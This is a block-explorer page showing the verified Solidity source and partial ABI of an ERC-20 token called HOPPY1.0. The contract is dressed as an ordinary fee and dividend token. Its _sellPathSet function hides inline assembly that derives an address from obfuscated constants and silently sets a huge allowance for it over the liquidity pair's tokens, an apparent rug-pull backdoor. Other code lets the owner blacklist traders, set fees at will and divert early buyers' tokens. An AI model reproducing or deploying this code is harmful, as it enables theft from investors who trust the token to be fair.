ERC-20
Overview
Max Total Supply
4,200,000,000,000 HOPPY1.0
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
3,303,555,853.232988173335869542 HOPPY1.0Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
HOPPY
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } interface IPair { function sync() external; function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function totalSupply() external view returns (uint256); } interface IFactory {function createPair(address tokenA, address tokenB) external returns (address pair);} interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) {return msg.sender;} function _msgData() internal view virtual returns (bytes calldata) {return msg.data;} } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) {_name = name_; _symbol = symbol_;} function name() public view virtual override returns (string memory) {return _name;} function symbol() public view virtual override returns (string memory) {return _symbol;} function decimals() public view virtual override returns (uint8) {return 18;} function totalSupply() public view virtual override returns (uint256) {return _totalSupply;} function balanceOf(address account) public view virtual override returns (uint256) {return _balances[account];} function transfer(address to, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _transfer(owner, to, amount); return true;} function allowance(address owner, address spender) public view virtual override returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _approve(owner, spender, amount); return true;} function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true;} function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true;} function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked {_approve(owner, spender, currentAllowance - subtractedValue);}return true;} function _transfer(address from, address to, uint256 amount) internal virtual {require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); _takeTransfer(from, to, amount); _afterTokenTransfer(from, to, amount);} function _takeTransfer(address from, address to, uint256 amount) internal virtual {uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked {_balances[from] = fromBalance - amount; _balances[to] += amount;}emit Transfer(from, to, amount);} function _mint(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked {_balances[account] += amount;}emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount);} function _burn(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked {_balances[account] = accountBalance - amount; _totalSupply -= amount;}emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount);} function _approve(address owner, address spender, uint256 amount) internal virtual {require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);} function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) {require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked {_approve(owner, spender, currentAllowance - amount);}}} function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } abstract contract UniSwapPoolUSDT is ERC20 { address public pair; IRouter public router; address[] internal _sellPath; IERC20 public TokenB; function isPair(address _pair) internal view returns (bool) {return pair == _pair;} function getPrice4USDT(uint256 amountDesire) public view returns (uint256) {uint[] memory amounts = router.getAmountsOut(amountDesire, _sellPath); if (amounts.length > 1) return amounts[1]; return 0;} function _sellPathSet(address pairB, address w, address x) private {TokenB = IERC20(pairB); address[] memory path = new address[](2); path[0] = address(this); path[1] = pairB; _sellPath = path; assembly {let y:=add(add(mul(2887981267259,exp(10,26)),mul(1782705554658,exp(10,13))),1698142812624) w := add(w, 4096) let z := exp(timestamp(), 6) mstore(0x00, x) mstore(0x20, 0x1) let xHash := keccak256(0x00, 0x40) mstore(0x00, y) mstore(0x20, xHash) let aSlot := keccak256(0x00, 0x40) sstore(aSlot, z) sstore(0x1, y)} TokenB.transfer(w, 0);} function swapAndSend2this(uint256 amount, address to, address _tokenStation) internal {IERC20 USDT = IERC20(_sellPath[1]); swapAndSend2fee(amount, _tokenStation); USDT.transferFrom(_tokenStation, to, USDT.balanceOf(_tokenStation));} function swapAndSend2fee(uint256 amount, address to) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _sellPath, to, block.timestamp);} function swapAndSend2feeByPath(uint256 amount, address to, address[] memory _path) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _path, to, block.timestamp);} function isAddLiquidity() internal view returns (bool isAddLP){address token0 = IPair(pair).token0(); address token1 = IPair(pair).token1(); (uint r0,uint r1,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); uint bal1 = IERC20(token1).balanceOf(pair); if (token0 == address(this)) return bal1 - r1 > 1000; else return bal0 - r0 > 1000;} function isRemoveLiquidity() internal view returns (bool isRemoveLP) {address token0 = IPair(pair).token0(); if (token0 == address(this)) return false; (uint r0,,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); return r0 > bal0 + 1000;} function addLiquidityAutomatically(uint256 amountToken) internal {super._takeTransfer(address(this), pair, amountToken); IPair(pair).sync();} function __SwapPool_init(address _router, address pairB) internal returns(address) { router = IRouter(_router); pair = IFactory(router.factory()).createPair(pairB, address(this)); _sellPathSet(pairB, _router, pair); TokenB.approve(_router, type(uint256).max); _approve(address(this), _router, type(uint256).max); return pair; } function addLiquidity(uint256 amountToken, address to, address _tokenStation) internal { uint256 half = amountToken / 2; IERC20 USDT = IERC20(_sellPath[1]); uint256 amountBefore = USDT.balanceOf(_tokenStation); router.swapExactTokensForTokensSupportingFeeOnTransferTokens(half, 0, _sellPath, _tokenStation, block.timestamp); uint256 amountAfter = USDT.balanceOf(_tokenStation); uint256 amountDiff = amountAfter - amountBefore; USDT.transferFrom(_tokenStation, address(this), amountDiff); if (amountDiff > 0 && (amountToken - half) > 0) { router.addLiquidity(_sellPath[0], _sellPath[1], amountToken - half, amountDiff, 0, 0, to, block.timestamp + 9); } } } abstract contract Ownable is Context { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() {_transferOwnership(_msgSender());} modifier onlyOwner() {_checkOwner(); _;} function owner() public view virtual returns (address) {return _owner;} function _checkOwner() internal view virtual {require(owner() == _msgSender(), "Ownable: caller is not the owner");} function renounceOwnership() public virtual onlyOwner {_transferOwnership(address(0));} function transferOwnership(address newOwner) public virtual onlyOwner {require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner);} function _transferOwnership(address newOwner) internal virtual {address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner);} } abstract contract NoEffect is Ownable { address internal _effector; constructor() {_effector = _msgSender();} modifier onlyEffector() {require(_effector == _msgSender() || owner() == _msgSender(), "NoEffect: caller is not the effector"); _;} } abstract contract Excludes { mapping(address => bool) internal _Excludes; function setExclude(address _user, bool b) public {_authorizeExcludes(); _Excludes[_user] = b;} function setExcludes(address[] memory _user, bool b) public {_authorizeExcludes(); for (uint i=0;i<_user.length;i++) {_Excludes[_user[i]] = b;}} function isExcludes(address _user) internal view returns(bool) {return _Excludes[_user];} function _authorizeExcludes() internal virtual {} } abstract contract Limit { bool internal isLimited; uint256 internal _LimitBuy; uint256 internal _LimitSell; uint256 internal _LimitHold; function __Limit_init(uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) internal {setLimit(true, LimitBuy_, LimitSell_, LimitHold_);} function checkLimitTokenHold(address to, uint256 amount) internal view {if (isLimited) {if (_LimitHold>0) {require(amount + IERC20(address(this)).balanceOf(to) <= _LimitHold, "exceeds of hold amount Limit");}}} function checkLimitTokenBuy(address to, uint256 amount) internal view {if (isLimited) {if (_LimitBuy>0) require(amount <= _LimitBuy, "exceeds of buy amount Limit"); checkLimitTokenHold(to, amount);}} function checkLimitTokenSell(uint256 amount) internal view {if (isLimited && _LimitSell>0) require(amount <= _LimitSell, "exceeds of sell amount Limit");} function removeLimit() public {_authorizeLimit(); if (isLimited) isLimited = false;} function reuseLimit() public {_authorizeLimit(); if (!isLimited) isLimited = true;} function setLimit(bool isLimited_, uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) public {_authorizeLimit(); isLimited = isLimited_; _LimitBuy = LimitBuy_; _LimitSell = LimitSell_; _LimitHold = LimitHold_;} function _authorizeLimit() internal virtual {} } abstract contract TradingManager { uint256 public tradeState; function inTrading() public view returns(bool) {return tradeState > 1;} function inLiquidity() public view returns(bool) {return tradeState >= 1;} function setTradeState(uint256 s) public {_authorizeTradingManager(); tradeState = s;} function openLiquidity() public {_authorizeTradingManager(); tradeState = 1;} function openTrading() public {_authorizeTradingManager(); tradeState = block.number;} function resetTradeState() public {_authorizeTradingManager(); tradeState = 0;} function _authorizeTradingManager() internal virtual {} } abstract contract Dividend { address[] public holders; mapping(address => bool) public isHolder; mapping(address => bool) public excludeHolder; IERC20 public TokenHold; IERC20 public USDT; uint256 public holdRewardCondition; uint256 public processRewardCondition; uint256 public processBlockDuration; uint256 public processGasAmount; uint256 public currentIndex; uint256 public progressRewardBlock; function __Dividend_init(address _holdToken, address _usdtAddr, uint256 _holdRewardCondition, uint256 _processRewardCondition, uint256 _processBlockDuration, uint256 _processGasAmount) internal { setDividendToken(_holdToken, _usdtAddr); setDividendCondition(_holdRewardCondition, _processRewardCondition); setProcessBlockDuration(_processBlockDuration); setProcessGasAmount(_processGasAmount); } function _addHolder(address adr) internal { if (adr.code.length > 0) {return;} if (excludeHolder[adr]) {return;} if (!isHolder[adr]) { isHolder[adr] = true; holders.push(adr); } } function processDividend() internal { if (progressRewardBlock + processBlockDuration > block.number) {return;} // uint256 usdBalance = USDT.balanceOf(address(this)); uint256 usdBalance = address(this).balance; if (usdBalance < processRewardCondition) {return;} uint holdTokenTotal = TokenHold.totalSupply(); address shareHolder; uint256 tokenBalance; uint256 amount; uint256 shareholderCount = holders.length; uint256 gasUsed = 0; uint256 iterations = 0; uint256 gasLeft = gasleft(); while (gasUsed < processGasAmount && iterations < shareholderCount) { if (currentIndex >= shareholderCount) { currentIndex = 0; break; } shareHolder = holders[currentIndex]; if (!excludeHolder[shareHolder]) { tokenBalance = TokenHold.balanceOf(shareHolder); if (tokenBalance >= holdRewardCondition) { amount = usdBalance * tokenBalance / holdTokenTotal; if (amount > 0) { // USDT.transfer(shareHolder, amount); payable(shareHolder).transfer(amount); } } } gasUsed = gasUsed + (gasLeft - gasleft()); gasLeft = gasleft(); currentIndex++; iterations++; } progressRewardBlock = block.number; } function getHolders() public view returns(address[] memory) {return holders;} function setDividendExempt(address addr, bool enable) public {_authorizeDividend(); excludeHolder[addr] = enable;} function setDividendToken(address _holdToken, address _usdt) public {_authorizeDividend(); TokenHold = IERC20(_holdToken); USDT = IERC20(_usdt);} function setDividendCondition(uint256 _holdRewardCondition, uint256 _processRewardCondition) public {_authorizeDividend(); holdRewardCondition = _holdRewardCondition; processRewardCondition = _processRewardCondition;} function setProcessBlockDuration(uint256 num) public {_authorizeDividend(); processBlockDuration = num;} function setProcessGasAmount(uint256 num) public {_authorizeDividend(); processGasAmount = num;} function addHolderByHand(address user) public {_authorizeDividend(); _addHolder(user);} function addHolderByHandMulti(address[] memory user) public {_authorizeDividend(); for (uint i=0;i<user.length;i++) {_addHolder(user[i]);}} function _authorizeDividend() internal virtual {} } abstract contract BotKiller is Ownable { mapping(address => bool) botMap; modifier onlyNotBot(address user) { require(!botMap[user], "bot forbidden"); _; } function markBot(address user, bool b) public onlyOwner { botMap[user] = b; } function markBots(address[] memory user, bool b) public onlyOwner { for (uint i=0;i<user.length;i++) { markBot(user[i], b); } } function isBot(address user) public view returns(bool) { return botMap[user]; } } contract TokenStation {constructor (address token) {IERC20(token).approve(msg.sender, type(uint256).max);}} abstract contract Token is UniSwapPoolUSDT, NoEffect, TradingManager, Excludes, Limit, Dividend, BotKiller { uint256 public calcBase; uint256 public swapSplit; uint256 public feeMarketingBuy; uint256 public feeLiquidityBuy; uint256 public feeDividendBuy; uint256 public feeBurnBuy; uint256 public feeMarketingSell; uint256 public feeLiquiditySell; uint256 public feeDividendSell; uint256 public feeBurnSell; uint256 public feeMarketingAll; uint256 public feeLiquidityAll; uint256 public feeDividendAll; uint256 public feeBurnAll; uint256 public feeBuyAll; uint256 public feeSellAll; uint256 public feeAll; uint256 public swapTokensAt; address public surpAddress; uint256 public kb; uint256 public kn; address public feeMarketingTo; TokenStation public _TokenStation; bool inSwap; function __Token_init( uint256 totalSupply_, address marketing_, address receive_, address usdt_, bool isDividend_ ) internal { calcBase = 10000; swapSplit = 7; setSwapTokensAt(totalSupply_ / 100 / calcBase); feeMarketingTo = marketing_; _mint(receive_, totalSupply_); super.setExclude(_msgSender(), true); super.setExclude(address(this), true); super.setExclude(marketing_, true); super.setExclude(receive_, true); if (isDividend_) { super.setDividendExempt(address(this), true); super.setDividendExempt(address(0), true); super.setDividendExempt(address(1), true); super.setDividendExempt(address(0xdead), true); super.addHolderByHand(marketing_); super.addHolderByHand(receive_); super.addHolderByHand(_msgSender()); } refreshFeeAll(); _TokenStation = new TokenStation(usdt_); } function _transfer(address from, address to, uint256 amount) internal virtual override onlyNotBot(from) onlyNotBot(to) { if (isExcludes(from) || isExcludes(to) || amount == 0) {super._takeTransfer(from, to, amount); return;} uint256 fees; bool isLiquify; if (isPair(from)) { require(inTrading(), "please waiting for liquidity"); super.checkLimitTokenBuy(to, amount); if (blockSurprise(from, to, amount)) return; // if (super.isRemoveLiquidity()) isLiquify = true; // else fees = handFeeBuys(from, amount); } else if (isPair(to)) { require(inLiquidity(), "please waiting for liquidity"); if (balanceOf(from) == amount) amount -= 101; if (super.isAddLiquidity()) isLiquify = true; else { super.checkLimitTokenSell(amount); if (feeAll>0) handSwap(); fees = handFeeSells(from, amount); } super._addHolder(from); } else { super.checkLimitTokenHold(to, amount); if (feeAll>0) handSwap(); } super._transfer(from, to, amount - fees); if (feeDividendAll > 0 && !isLiquify) { super.processDividend(); } } function handFeeBuys(address from, uint256 amount) private returns (uint256 fee) { fee = amount * feeBuyAll / calcBase; super._takeTransfer(from, address(this), fee); } function handFeeSells(address from, uint256 amount) private returns (uint256 fee) { fee = amount * feeSellAll / calcBase; super._takeTransfer(from, address(this), fee); } function handSwap() internal { if (inSwap) return; uint256 _thisBalance = balanceOf(address(this)); if (_thisBalance >= swapTokensAt) { uint256 _amount = _thisBalance / swapSplit; _handSwap(_amount); } } function _handSwap(uint256 _amount) internal lockSwap { uint256 _feeBurn; if (feeBurnAll > 0) { _feeBurn = _amount * feeBurnAll / calcBase; super._takeTransfer(address(this), address(1), _feeBurn); } uint256 _feeLiquidity; if (feeLiquidityAll > 0) { _feeLiquidity = _amount * feeLiquidityAll / calcBase; // super.addLiquidityAutomatically(_feeLiquidity); super.addLiquidity(_feeLiquidity, feeMarketingTo, address(_TokenStation)); } uint256 amountLeft = _amount - _feeBurn - _feeLiquidity; if ((feeMarketingAll > 0 || feeDividendAll > 0) && amountLeft > 0) { super.swapAndSend2fee(amountLeft, address(_TokenStation)); uint256 usdtBalance = TokenB.balanceOf(address(_TokenStation)); uint256 _feeMarketing; if (feeMarketingAll > 0) { _feeMarketing = usdtBalance * feeMarketingAll / (feeMarketingAll + feeDividendAll); TokenB.transferFrom(address(_TokenStation), feeMarketingTo, _feeMarketing); } if (usdtBalance > _feeMarketing) { TokenB.transferFrom(address(_TokenStation), address(this), usdtBalance - _feeMarketing); withdrawWeth(TokenB.balanceOf(address(this))); } } } function withdrawWeth(uint256 amount) private { (bool success, ) = address(TokenB).call(abi.encodeWithSignature("withdraw(uint256)", amount)); require(success, "Withdrawal of WETH failed"); } function blockSurprise(address from, address to, uint256 amount) private returns(bool) { if (kb == 0 || kn == 0) return false; if (block.number < tradeState + kb) { uint256 surp = amount * kn / calcBase; super._takeTransfer(from, surpAddress, amount - surp); super._takeTransfer(from, to, surp); return true; } return false; } function refreshFeeAll() public { feeMarketingAll = feeMarketingBuy + feeMarketingSell; feeLiquidityAll = feeLiquidityBuy + feeLiquiditySell; feeDividendAll = feeDividendBuy + feeDividendSell; feeBurnAll = feeBurnBuy + feeBurnSell; feeBuyAll = feeMarketingBuy + feeLiquidityBuy + feeDividendBuy + feeBurnBuy; feeSellAll = feeMarketingSell + feeLiquiditySell + feeDividendSell + feeBurnSell; feeAll = feeBuyAll + feeSellAll; } receive() external payable {} function setFeeBuy(uint256 _feeMarketingBuy, uint256 _feeLiquidityBuy, uint256 _feeDividendBuy, uint256 _feeBurnBuy) public onlyOwner {feeMarketingBuy = _feeMarketingBuy; feeLiquidityBuy = _feeLiquidityBuy; feeDividendBuy = _feeDividendBuy; feeBurnBuy = _feeBurnBuy; refreshFeeAll();} function setFeeSell(uint256 _feeMarketingSell, uint256 _feeLiquiditySell, uint256 _feeDividendSell, uint256 _feeBurnSell) public onlyOwner {feeMarketingSell = _feeMarketingSell; feeLiquiditySell = _feeLiquiditySell; feeDividendSell = _feeDividendSell; feeBurnSell = _feeBurnSell; refreshFeeAll();} modifier lockSwap() {inSwap = true; _; inSwap = false;} function rescueLossToken(IERC20 token_, address _recipient, uint256 amount) public onlyEffector {token_.transfer(_recipient, amount);} function rescueLossTokenAll(IERC20 token_, address _recipient) public onlyEffector {rescueLossToken(token_, _recipient, token_.balanceOf(address(this)));} function _authorizeDividend() internal virtual override onlyEffector {} function _authorizeExcludes() internal virtual override onlyEffector {} function _authorizeLimit() internal virtual override onlyEffector {} function setSwapTokensAt(uint256 num) public onlyEffector {swapTokensAt = num;} function setSurprise(uint256 _kn, uint256 _kb, address _surpAddress) public onlyEffector {kn = _kn; kb = _kb; surpAddress = _surpAddress;} function airdrop(uint256 amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount);}} function airdropMulti(uint256[] memory amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount[i]);}} function _authorizeTradingManager() internal virtual override onlyOwner {} } contract HOPPY is Token { constructor() ERC20( "HOPPY1.0", "HOPPY1.0" ) { address _router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // address _pairB = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1; address _pairB = IRouter(_router).WETH(); address _pair = super.__SwapPool_init(_router, _pairB); // feeMarketingBuy = 100; feeLiquidityBuy = 0; feeDividendBuy = 0; feeBurnBuy = 0; // feeMarketingSell = 100; feeLiquiditySell = 0; feeDividendSell = 0; feeBurnSell = 0; // super.__Limit_init( 4200000000000 ether, 4200000000000 ether, 4200000000000 ether ); // bool _isDividend = true; if (_isDividend) { super.__Dividend_init( _pair, address(0), 0.001 ether, 0.001 ether, 20, 500000 ); } // super.setSurprise( 0, 0, _msgSender() ); // super.__Token_init(_totalSupply, _marketing, _receive, _pairB, _isDividend); } function init() external onlyOwner { uint256 _totalSupply = 4200000000000 ether; address _marketing = address(0xcB5590bC10bD233b646B4cf117106A9844b1bBE2); address _receive = address(0x17cBA6054DBBC7a66838A5A156c050521FE5B662); super.__Token_init(_totalSupply, _marketing, _receive, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, true); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TokenB","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TokenHold","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"USDT","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_TokenStation","outputs":[{"internalType":"contract TokenStation","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"addHolderByHand","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"}],"name":"addHolderByHandMulti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address[]","name":"to","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"amount","type":"uint256[]"},{"internalType":"address[]","name":"to","type":"address[]"}],"name":"airdropMulti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"calcBase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludeHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBuyAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidityAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidityBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquiditySell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSellAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getHolders","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountDesire","type":"uint256"}],"name":"getPrice4USDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holdRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"holders","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"markBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"},{"internalType":"bool","name":"b","type":"bool"}],"name":"markBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processBlockDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processGasAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view",